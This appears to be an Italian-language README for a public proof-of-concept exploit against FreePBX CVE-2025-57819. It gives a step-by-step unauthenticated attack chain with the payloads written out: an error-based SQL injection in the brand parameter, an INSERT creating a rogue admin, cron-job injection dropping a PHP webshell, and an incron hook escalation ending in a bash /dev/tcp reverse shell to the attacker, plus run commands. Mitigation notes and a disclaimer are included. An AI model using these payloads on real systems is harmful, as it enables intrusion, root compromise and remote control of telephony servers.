FreePBX CVE-2025-57819 - SQLi non autenticato a RCE PoC

Solo a scopo educativo e di ricerca sulla sicurezza - Vedi il disclaimer legale sotto

Proof of concept di sfruttamento per CVE-2025-57819, una vulnerabilità critica di SQL injection non autenticata in FreePBX che consente l'esecuzione remota di codice. Questo PoC è pubblicato dopo il rilascio delle patch ufficiali esclusivamente per scopi di ricerca sulla sicurezza e test autorizzati.

Panoramica

Le versioni di FreePBX 15.x, 16.x e 17.x (al di sotto delle versioni patchate) sono vulnerabili a SQL injection non autenticata nel gestore AJAX del modulo endpoint. Questa catena di vulnerabilità consente:

1. Creare account amministrativi tramite SQL injection
2. Distribuire webshell tramite iniezione di job cron autenticati
3. Eseguire l'escalation a root (se incron è disponibile) tramite la catena di hook sysadmin_manager
4. Compromissione completa del sistema con accesso a reverse shell

Dettagli della vulnerabilità

Endpoint vulnerabile

GET /admin/ajax.php?brand=<PAYLOAD>

Il parametro brand nel gestore AJAX del modulo endpoint accetta input utente senza convalida, portando a SQL injection basata su errori.

Catena di sfruttamento

Fase 1: SQL Injection e creazione account amministrativo

Verifica della SQLi usando l'estrazione basata su errori con EXTRACTVALUE() per ottenere il nome del database:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

Inserisci un nuovo utente amministrativo in asterisk.ampusers:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

Fase 2: Iniezione di job cron autenticati

Con credenziali amministrative valide, l'exploit si autentica su FreePBX e stabilisce una sessione autenticata. I cookie di sessione vengono salvati e utilizzati per tutte le successive richieste autenticate.

Inietta il comando webshell in asterisk.cron_jobs:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

Il cron runner di FreePBX esegue il comando come utente asterisk, depositando una webshell PHP.

Fase 3: Attivazione della webshell

La webshell PHP viene distribuita in /var/www/html/shell.php:

<?php system($_GET['cmd']); ?>

L'exploit interroga la webshell fino all'attivazione, ottenendo RCE come utente asterisk (uid=999).

Fase 4: Escalation dei privilegi (condizionale)

Se incron è configurato sul target:

1. Crea file trigger in /var/spool/asterisk/incron/
2. incrond (in esecuzione come root) rileva la creazione del file
3. Invoca /usr/bin/sysadmin_manager con il nome del file trigger
4. sysadmin_manager convalida la firma GPG e invia all'hook fwconsole-commands
5. L'hook decodifica il payload ed esegue: /usr/sbin/fwconsole <COMANDO>
6. Iniezione di comando: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Risultato: Shell root sul listener di reverse (se incron disponibile).

Cosa sfrutta

• Nessuna validazione dell'input sul parametro brand
• L'esecuzione di query impilate consente la manipolazione del database
• La tabella scrivibile asterisk.cron_jobs esegue comandi come asterisk
• Persistenza della sessione autenticata tramite cookie dell'account amministratore creato
• Monitoraggio del filesystem incron in esecuzione come root
• Esecuzione di hook fwconsole non convalidata con iniezione di comandi

Installazione

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

Utilizzo

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

Versioni affette

Mitigazione

Immediata:

• Limitare l'accesso a /admin/ajax.php da reti non fidate
• Disabilitare incron se non necessario: systemctl disable incrond

Permanente: Aggiornare alle versioni patchate: 15.0.66+, 16.0.89+ o 17.0.3+

Riferimenti

• CVE-2025-57819
• CISA KEV Catalog
• FreePBX Security Advisory

Avviso legale

⚠️ DISCLAIMER

Questo proof of concept è fornito ESCLUSIVAMENTE PER TEST DI SICUREZZA AUTORIZZATI E SCOPI EDUCATIVI. L'autore non si assume alcuna responsabilità per l'uso improprio o i danni causati da questo strumento.

DEVI RISPETTARE:

• Computer Fraud and Abuse Act (CFAA) e leggi equivalenti nella tua giurisdizione
• Testare solo sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta
• Ottenere autorizzazione scritta prima di qualsiasi test di sicurezza
• Pratiche di divulgazione responsabile
• Regolamenti sulla privacy e protezione dei dati (GDPR, CCPA, ecc.)

USI VIETATI:

• Accesso non autorizzato a sistemi informatici
• Test di penetrazione senza consenso scritto
• Interruzione dei servizi o furto di dati
• Qualsiasi attività dannosa o illegale

ESONERO DI RESPONSABILITÀ: L'autore non è responsabile per:

• Accesso non autorizzato o accuse penali
• Danni ai sistemi o perdita di dati
• Conseguenze legali dell'uso improprio
• Violazioni delle leggi sulla frode informatica

Questa vulnerabilità è:

• Divulgata pubblicamente (CVE-2025-57819)
• Patch disponibili pubblicamente
• Pubblicata solo per ricerca sulla sicurezza
• Condivisa in modo responsabile dopo il rilascio della patch

Autore

JazzTheRabbit

• GitHub: @JazzTheRabbit
• HackTheBox: @JazzTheRabbit
• YouTube: JazzTheRabbit

Licenza

MIT License